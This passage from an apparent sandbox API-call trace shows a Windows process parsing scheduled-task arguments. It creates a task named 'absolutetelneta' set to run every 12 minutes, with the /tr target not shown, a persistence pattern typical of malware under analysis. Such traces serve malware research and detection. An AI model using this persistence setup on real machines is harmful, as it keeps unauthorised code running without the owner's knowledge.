(dwErrCode=0x490) [0146.738] lstrlenW (lpString="d") returned 1 [0146.738] lstrlenW (lpString="d") returned 1 [0146.738] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.738] lstrlenW (lpString="tn") returned 2 [0146.738] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.738] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|d|") returned 3 [0146.738] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.738] lstrlenW (lpString="|d|") returned 3 [0146.738] lstrlenW (lpString="|tn|") returned 4 [0146.738] SetLastError (dwErrCode=0x490) [0146.738] lstrlenW (lpString="m") returned 1 [0146.738] lstrlenW (lpString="m") returned 1 [0146.738] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.738] lstrlenW (lpString="tn") returned 2 [0146.738] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.738] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|m|") returned 3 [0146.738] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.738] lstrlenW (lpString="|m|") returned 3 [0146.738] lstrlenW (lpString="|tn|") returned 4 [0146.738] SetLastError (dwErrCode=0x490) [0146.738] lstrlenW (lpString="i") returned 1 [0146.738] lstrlenW (lpString="i") returned 1 [0146.738] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.739] lstrlenW (lpString="tn") returned 2 [0146.739] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.739] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|i|") returned 3 [0146.739] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.739] lstrlenW (lpString="|i|") returned 3 [0146.739] lstrlenW (lpString="|tn|") returned 4 [0146.739] SetLastError (dwErrCode=0x490) [0146.739] lstrlenW (lpString="tn") returned 2 [0146.739] lstrlenW (lpString="tn") returned 2 [0146.739] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.739] lstrlenW (lpString="tn") returned 2 [0146.739] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.739] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.739] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tn|") returned 4 [0146.739] lstrlenW (lpString="|tn|") returned 4 [0146.739] lstrlenW (lpString="|tn|") returned 4 [0146.739] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0146.739] SetLastError (dwErrCode=0x0) [0146.739] SetLastError (dwErrCode=0x0) [0146.739] lstrlenW (lpString="absolutetelneta") returned 15 [0146.739] lstrlenW (lpString="-/") returned 2 [0146.739] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0146.739] SetLastError (dwErrCode=0x490) [0146.739] SetLastError (dwErrCode=0x490) [0146.739] SetLastError (dwErrCode=0x0) [0146.739] lstrlenW (lpString="absolutetelneta") returned 15 [0146.739] StrChrIW (lpStart="absolutetelneta", wMatch=0x3a) returned 0x0 [0146.739] SetLastError (dwErrCode=0x490) [0146.739] SetLastError (dwErrCode=0x0) [0146.739] lstrlenW (lpString="absolutetelneta") returned 15 [0146.739] SetLastError (dwErrCode=0x0) [0146.740] SetLastError (dwErrCode=0x0) [0146.740] lstrlenW (lpString="/sc") returned 3 [0146.740] lstrlenW (lpString="-/") returned 2 [0146.740] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.740] lstrlenW (lpString="create") returned 6 [0146.740] lstrlenW (lpString="create") returned 6 [0146.740] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.740] lstrlenW (lpString="sc") returned 2 [0146.740] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.740] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|create|") returned 8 [0146.740] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.740] lstrlenW (lpString="|create|") returned 8 [0146.740] lstrlenW (lpString="|sc|") returned 4 [0146.740] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0146.740] SetLastError (dwErrCode=0x490) [0146.740] lstrlenW (lpString="?") returned 1 [0146.740] lstrlenW (lpString="?") returned 1 [0146.740] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.740] lstrlenW (lpString="sc") returned 2 [0146.740] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.740] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|?|") returned 3 [0146.740] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.740] lstrlenW (lpString="|?|") returned 3 [0146.740] lstrlenW (lpString="|sc|") returned 4 [0146.740] SetLastError (dwErrCode=0x490) [0146.740] lstrlenW (lpString="s") returned 1 [0146.740] lstrlenW (lpString="s") returned 1 [0146.740] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.741] lstrlenW (lpString="sc") returned 2 [0146.741] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.741] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|s|") returned 3 [0146.741] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.741] lstrlenW (lpString="|s|") returned 3 [0146.741] lstrlenW (lpString="|sc|") returned 4 [0146.741] SetLastError (dwErrCode=0x490) [0146.741] lstrlenW (lpString="u") returned 1 [0146.741] lstrlenW (lpString="u") returned 1 [0146.741] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.741] lstrlenW (lpString="sc") returned 2 [0146.741] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.741] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|u|") returned 3 [0146.741] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.741] lstrlenW (lpString="|u|") returned 3 [0146.741] lstrlenW (lpString="|sc|") returned 4 [0146.741] SetLastError (dwErrCode=0x490) [0146.741] lstrlenW (lpString="p") returned 1 [0146.741] lstrlenW (lpString="p") returned 1 [0146.741] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.741] lstrlenW (lpString="sc") returned 2 [0146.742] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.742] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|p|") returned 3 [0146.742] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.742] lstrlenW (lpString="|p|") returned 3 [0146.742] lstrlenW (lpString="|sc|") returned 4 [0146.742] SetLastError (dwErrCode=0x490) [0146.742] lstrlenW (lpString="ru") returned 2 [0146.742] lstrlenW (lpString="ru") returned 2 [0146.742] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.742] lstrlenW (lpString="sc") returned 2 [0146.742] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.742] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|ru|") returned 4 [0146.742] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.742] lstrlenW (lpString="|ru|") returned 4 [0146.742] lstrlenW (lpString="|sc|") returned 4 [0146.742] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0146.742] SetLastError (dwErrCode=0x490) [0146.742] lstrlenW (lpString="rp") returned 2 [0146.742] lstrlenW (lpString="rp") returned 2 [0146.742] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.742] lstrlenW (lpString="sc") returned 2 [0146.742] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.745] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rp|") returned 4 [0146.746] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.749] lstrlenW (lpString="|rp|") returned 4 [0146.750] lstrlenW (lpString="|sc|") returned 4 [0146.750] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0146.750] SetLastError (dwErrCode=0x490) [0146.750] lstrlenW (lpString="sc") returned 2 [0146.750] lstrlenW (lpString="sc") returned 2 [0146.750] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.750] lstrlenW (lpString="sc") returned 2 [0146.750] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.750] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.750] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.750] lstrlenW (lpString="|sc|") returned 4 [0146.750] lstrlenW (lpString="|sc|") returned 4 [0146.750] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0146.750] SetLastError (dwErrCode=0x0) [0146.750] SetLastError (dwErrCode=0x0) [0146.750] lstrlenW (lpString="MINUTE") returned 6 [0146.750] lstrlenW (lpString="-/") returned 2 [0146.750] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0146.750] SetLastError (dwErrCode=0x490) [0146.750] SetLastError (dwErrCode=0x490) [0146.750] SetLastError (dwErrCode=0x0) [0146.750] lstrlenW (lpString="MINUTE") returned 6 [0146.750] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0146.750] SetLastError (dwErrCode=0x490) [0146.750] SetLastError (dwErrCode=0x0) [0146.751] GetProcessHeap () returned 0x3b0000 [0146.751] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cd570 [0146.751] _memicmp (_Buf1=0x3cd570, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.751] lstrlenW (lpString="MINUTE") returned 6 [0146.751] GetProcessHeap () returned 0x3b0000 [0146.751] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cd590 [0146.751] lstrlenW (lpString="MINUTE") returned 6 [0146.751] lstrlenW (lpString=" \x09") returned 2 [0146.751] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0146.751] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0146.751] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0146.751] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0146.751] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0146.751] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0146.751] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0146.751] GetLastError () returned 0x0 [0146.751] lstrlenW (lpString="MINUTE") returned 6 [0146.751] lstrlenW (lpString="MINUTE") returned 6 [0146.751] SetLastError (dwErrCode=0x0) [0146.752] SetLastError (dwErrCode=0x0) [0146.752] lstrlenW (lpString="/mo") returned 3 [0146.752] lstrlenW (lpString="-/") returned 2 [0146.752] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.752] lstrlenW (lpString="create") returned 6 [0146.752] lstrlenW (lpString="create") returned 6 [0146.752] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.752] lstrlenW (lpString="mo") returned 2 [0146.752] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.752] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|create|") returned 8 [0146.752] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.752] lstrlenW (lpString="|create|") returned 8 [0146.752] lstrlenW (lpString="|mo|") returned 4 [0146.752] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0146.752] SetLastError (dwErrCode=0x490) [0146.752] lstrlenW (lpString="?") returned 1 [0146.752] lstrlenW (lpString="?") returned 1 [0146.752] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.753] lstrlenW (lpString="mo") returned 2 [0146.753] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.753] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|?|") returned 3 [0146.753] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.753] lstrlenW (lpString="|?|") returned 3 [0146.753] lstrlenW (lpString="|mo|") returned 4 [0146.753] SetLastError (dwErrCode=0x490) [0146.753] lstrlenW (lpString="s") returned 1 [0146.753] lstrlenW (lpString="s") returned 1 [0146.753] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.753] lstrlenW (lpString="mo") returned 2 [0146.753] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.753] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|s|") returned 3 [0146.753] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.753] lstrlenW (lpString="|s|") returned 3 [0146.753] lstrlenW (lpString="|mo|") returned 4 [0146.753] SetLastError (dwErrCode=0x490) [0146.754] lstrlenW (lpString="u") returned 1 [0146.754] lstrlenW (lpString="u") returned 1 [0146.754] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.754] lstrlenW (lpString="mo") returned 2 [0146.754] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.754] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|u|") returned 3 [0146.754] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.754] lstrlenW (lpString="|u|") returned 3 [0146.754] lstrlenW (lpString="|mo|") returned 4 [0146.754] SetLastError (dwErrCode=0x490) [0146.754] lstrlenW (lpString="p") returned 1 [0146.754] lstrlenW (lpString="p") returned 1 [0146.754] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.754] lstrlenW (lpString="mo") returned 2 [0146.754] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.754] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|p|") returned 3 [0146.754] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.755] lstrlenW (lpString="|p|") returned 3 [0146.755] lstrlenW (lpString="|mo|") returned 4 [0146.755] SetLastError (dwErrCode=0x490) [0146.755] lstrlenW (lpString="ru") returned 2 [0146.755] lstrlenW (lpString="ru") returned 2 [0146.755] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.755] lstrlenW (lpString="mo") returned 2 [0146.755] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.755] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|ru|") returned 4 [0146.755] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.755] lstrlenW (lpString="|ru|") returned 4 [0146.755] lstrlenW (lpString="|mo|") returned 4 [0146.755] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0146.755] SetLastError (dwErrCode=0x490) [0146.755] lstrlenW (lpString="rp") returned 2 [0146.755] lstrlenW (lpString="rp") returned 2 [0146.755] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.755] lstrlenW (lpString="mo") returned 2 [0146.756] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.756] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rp|") returned 4 [0146.756] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.756] lstrlenW (lpString="|rp|") returned 4 [0146.756] lstrlenW (lpString="|mo|") returned 4 [0146.756] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0146.756] SetLastError (dwErrCode=0x490) [0146.756] lstrlenW (lpString="sc") returned 2 [0146.756] lstrlenW (lpString="sc") returned 2 [0146.756] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.756] lstrlenW (lpString="mo") returned 2 [0146.756] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.756] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.756] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.756] lstrlenW (lpString="|sc|") returned 4 [0146.756] lstrlenW (lpString="|mo|") returned 4 [0146.756] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0146.757] SetLastError (dwErrCode=0x490) [0146.757] lstrlenW (lpString="mo") returned 2 [0146.757] lstrlenW (lpString="mo") returned 2 [0146.757] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.757] lstrlenW (lpString="mo") returned 2 [0146.757] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.757] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.757] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|mo|") returned 4 [0146.757] lstrlenW (lpString="|mo|") returned 4 [0146.757] lstrlenW (lpString="|mo|") returned 4 [0146.757] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0146.757] SetLastError (dwErrCode=0x0) [0146.757] SetLastError (dwErrCode=0x0) [0146.757] lstrlenW (lpString="12") returned 2 [0146.757] lstrlenW (lpString="-/") returned 2 [0146.758] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0146.758] SetLastError (dwErrCode=0x490) [0146.758] SetLastError (dwErrCode=0x490) [0146.758] SetLastError (dwErrCode=0x0) [0146.758] lstrlenW (lpString="12") returned 2 [0146.758] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0146.758] SetLastError (dwErrCode=0x490) [0146.758] SetLastError (dwErrCode=0x0) [0146.758] _memicmp (_Buf1=0x3cd570, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.758] lstrlenW (lpString="12") returned 2 [0146.758] lstrlenW (lpString="12") returned 2 [0146.758] lstrlenW (lpString=" \x09") returned 2 [0146.758] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0146.758] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0146.758] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0146.758] GetLastError () returned 0x0 [0146.758] lstrlenW (lpString="12") returned 2 [0146.758] lstrlenW (lpString="12") returned 2 [0146.758] GetProcessHeap () returned 0x3b0000 [0146.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x6) returned 0x3cc230 [0146.759] SetLastError (dwErrCode=0x0) [0146.759] SetLastError (dwErrCode=0x0) [0146.759] lstrlenW (lpString="/tr") returned 3 [0146.759] lstrlenW (lpString="-/") returned 2 [0146.759] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0146.759] lstrlenW (lpString="create") returned 6 [0146.759] lstrlenW (lpString="create") returned 6 [0146.759] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.759] lstrlenW (lpString="tr") returned 2 [0146.759] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.759] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|create|") returned 8 [0146.759] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.759] lstrlenW (lpString="|create|") returned 8 [0146.759] lstrlenW (lpString="|tr|") returned 4 [0146.759] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0146.759] SetLastError (dwErrCode=0x490) [0146.760] lstrlenW (lpString="?") returned 1 [0146.760] lstrlenW (lpString="?") returned 1 [0146.760] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.760] lstrlenW (lpString="tr") returned 2 [0146.760] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.760] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|?|") returned 3 [0146.760] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.760] lstrlenW (lpString="|?|") returned 3 [0146.760] lstrlenW (lpString="|tr|") returned 4 [0146.760] SetLastError (dwErrCode=0x490) [0146.760] lstrlenW (lpString="s") returned 1 [0146.760] lstrlenW (lpString="s") returned 1 [0146.760] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.760] lstrlenW (lpString="tr") returned 2 [0146.760] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.760] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|s|") returned 3 [0146.760] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.761] lstrlenW (lpString="|s|") returned 3 [0146.761] lstrlenW (lpString="|tr|") returned 4 [0146.761] SetLastError (dwErrCode=0x490) [0146.761] lstrlenW (lpString="u") returned 1 [0146.761] lstrlenW (lpString="u") returned 1 [0146.761] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.761] lstrlenW (lpString="tr") returned 2 [0146.761] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.761] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|u|") returned 3 [0146.761] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.761] lstrlenW (lpString="|u|") returned 3 [0146.761] lstrlenW (lpString="|tr|") returned 4 [0146.761] SetLastError (dwErrCode=0x490) [0146.761] lstrlenW (lpString="p") returned 1 [0146.761] lstrlenW (lpString="p") returned 1 [0146.761] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.762] lstrlenW (lpString="tr") returned 2 [0146.762] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.762] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|p|") returned 3 [0146.762] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.762] lstrlenW (lpString="|p|") returned 3 [0146.762] lstrlenW (lpString="|tr|") returned 4 [0146.762] SetLastError (dwErrCode=0x490) [0146.762] lstrlenW (lpString="ru") returned 2 [0146.762] lstrlenW (lpString="ru") returned 2 [0146.762] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.762] lstrlenW (lpString="tr") returned 2 [0146.762] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.762] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|ru|") returned 4 [0146.762] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.762] lstrlenW (lpString="|ru|") returned 4 [0146.762] lstrlenW (lpString="|tr|") returned 4 [0146.762] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0146.763] SetLastError (dwErrCode=0x490) [0146.763] lstrlenW (lpString="rp") returned 2 [0146.763] lstrlenW (lpString="rp") returned 2 [0146.763] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.763] lstrlenW (lpString="tr") returned 2 [0146.763] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.763] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|rp|") returned 4 [0146.763] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.763] lstrlenW (lpString="|rp|") returned 4 [0146.763] lstrlenW (lpString="|tr|") returned 4 [0146.763] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0146.763] SetLastError (dwErrCode=0x490) [0146.763] lstrlenW (lpString="sc") returned 2 [0146.763] lstrlenW (lpString="sc") returned 2 [0146.763] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.763] lstrlenW (lpString="tr") returned 2 [0146.763] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.764] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|sc|") returned 4 [0146.764] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|tr|") returned 4 [0146.764] lstrlenW (lpString="|sc|") returned 4 [0146.764] lstrlenW (lpString="|tr|") returned 4 [0146.764] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0146.764] SetLastError (dwErrCode=0x490) 